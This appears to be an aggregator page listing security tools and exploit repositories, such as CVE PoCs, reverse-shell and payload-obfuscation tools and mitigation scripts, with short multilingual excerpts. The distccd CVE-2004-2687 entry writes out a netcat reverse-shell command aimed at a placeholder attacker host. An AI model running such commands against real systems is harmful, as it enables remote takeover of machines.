Network_Assessment

Valutazione della Rete Con Wireshark o TCPdump, puoi determinare se c'è attività dannosa nel traffico di rete che hai registrato sulla rete che monitori. Questo script Python analizza il traffico di rete in un dato file .pcap e tenta di rilevare le seguenti attività e attacchi di rete sospetti: 1...

Detect-CVE-2024-0762

CVE-2024-0762 Script di Rilevamento e Analisi Malware Panoramica Questo script è progettato per rilevare le versioni del firmware UEFI e valutarle per vulnerabilità correlate a CVE-2024-0762. Inoltre, si integra con l'API VirusTotal per analizzare i file alla ricerca di malware, fornendo...

365Inspect

Scopo Migliorare lo stato della sicurezza di Microsoft 365 creando uno script PowerShell che automatizza la valutazione della sicurezza degli ambienti Microsoft 365. Soteria Inspect Soteria Inspect nasce dal progetto 365Inspect ed è la soluzione SaaS di Soteria per aiutare a valutare la sicurezza...

Detailed-Analysis-and-Mitigation-Strategies-for-CVE-2024-38124-and-CVE-2024-43468

Analisi Dettagliata e Strategie di Mitigazione per CVE-2024-38124 e CVE-2024-43468 Analisi dettagliata e strategie di mitigazione con script per CVE-2024-38124 e CVE-2024-43468 CVE-2024-38124: Windows Netlogon Contesto tecnico di sfruttamento: In uno scenario reale, un attaccante con accesso alla...

POC-2020-8558

Visão Geral A CVE-2020-8558 é uma vulnerabilidade do Kubernetes que foi divulgada porque o kube-proxy inesperadamente disponibiliza serviços do host vinculados a localhost para outros na rede. Eu enfatizo o "inesperadamente" porque essa vulnerabilidade é decorrente de uma falha de design descuido...

CVE-2020-1472

CVE-2020-1472 POC Richiede l'ultima versione di impacket da GitHub con le strutture netlogon aggiunte. Nota: di default questo script modifica la password dell'account del domain controller. Sì, questo consente di eseguire DCSync, ma interrompe anche la comunicazione con gli altri domain...

CVE-2019-12725-modified-exp

CVE-2019-12725-modified-exp Modificato per correggere errori ed eseguire comandi con privilegi più elevati, inoltre è stato rimosso il sleep13 nello script originale per risparmiare tempo. riferimenti: https://www.modb.pro/db/120391 https://www.exploit-db.com/exploits/49862...

revsh

revsh revsh é uma ferramenta para estabelecer reverse shells com suporte a terminal, VPNs reversas para pivoteamento avançado, bem como tunelamento arbitrário de dados. News 2018-08-09 : Novo lançamento. Principalmente correções de bugs / estabilidade e melhor documentação sobre o processo de...

loboguara

Lobo Guará - Piattaforma di Cyber Threat Intelligence Lobo Guará è una piattaforma rivolta ai professionisti della sicurezza informatica, con diverse funzionalità incentrate sulla Cyber Threat Intelligence CTI. Offre strumenti che facilitano l'identificazione delle minacce, il monitoraggio delle...

loboguara

Lobo Guará - Cyber Threat Intelligence Platform Lobo Guará is a platform aimed at cybersecurity professionals, with various features focused on Cyber Threat Intelligence CTI. It offers tools that make it easier to identify threats, monitor data leaks, analyze suspicious domains and URLs, and much...

dncil

dncil è una libreria di disassemblaggio del Common Intermediate Language CIL scritta in Python che supporta l'analisi dell'header, delle istruzioni e dei gestori di eccezioni dei metodi gestiti .NET. I dati analizzati vengono esposti tramite un'API orientata agli oggetti per aiutarti a sviluppare...

distccd_rce_CVE-2004-2687

O objetivo deste script NÃO é usar o Metasploit e fazê-lo manualmente. Uso: root@kitploit: nc -lvnp 4466 Executando o exploit: root@kitploit: python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...

kalitorify

Proxy Transparente através do Tor para Kali Linux Sobre o kalitorify kalitorify é um script shell para Kali Linux que usa configurações iptables para criar um Proxy Transparente através da Rede Tor. O programa também permite realizar várias verificações, como verificar o Nó de Saída do Tor ou sej...

kalitorify

Transparent Proxy through Tor for Kali Linux About kalitorify kalitorify is a shell script for Kali Linux which use iptables settings to create a Transparent Proxy through the Tor Network , the program also allows you to perform various checks like checking the Tor Exit Node i.e. your public IP...

android-gadget

android-gadget Sommario Alcune revisioni del kernel Linux utilizzate in Android sono interessate dal problema CVE-2021-39685. Informazioni dettagliate e un POC per CVE-2021-39685 sono disponibili nel repository inspector-gadget. Questo repository include un POC che mira ad alcuni gadget USB...

Fix-Log4j-PowershellScript

Fix-Log4j-PowershellScript CVE-2021-44228 सिस्टम पर log4j.jar फ़ाइलों से JNDI Lookup Class खोजें और हटाएँ Powershell Windows के साथ सुनिश्चित करें कि आप स्क्रिप्ट का नवीनतम रिलीज़ उपयोग कर रहे हैं! Release version 1.6.2 और उससे ऊपर Java प्रक्रियाओं के लिए Killmode लागू किया गया। $killMode यदि...

psc

PortShellCrypter -- PSC Questo progetto - così come il suo progetto gemello crash - fa parte della mia suite di strumenti anti-censura che permette di configurare shell crittografate funzionanti e inoltri TCP/UDP in ambienti ostili alla censura. È utile anche per la computer forensics per estrarr...

LightMe

LightMe LightMe è un semplice server HTTP che serve script/payload Powershell dopo averli offuscati ed esegue l'offuscamento come servizio in background per mantenere offuscati i payload, fornendo quasi un nuovo payload offuscato ad ogni richiesta HTTP. Caratteristiche Principali Offusca tutti i...

CVE-2023-40028

CVE-2023-40028: Sfruttamento di Symlink in Ghost CMS PoC Panoramica Questo repository contiene uno script Proof-of-Concept PoC progettato per dimostrare lo sfruttamento della CVE-2023-40028 , una vulnerabilità di Local File Inclusion LFI che colpisce Ghost CMS versioni precedenti alla 5.59.1. La...

PowerShell-PrintNightmare

PowerShell-PrintNightmare Una raccolta di script per aiutare a impostare le chiavi di registro appropriate per CVE-2021-34527, condivisa come parte dei nostri blog che illustrano varie opzioni di mitigazione. servers.ps1 contiene le impostazioni di registro relative a PointAndPrint. Devi comunque...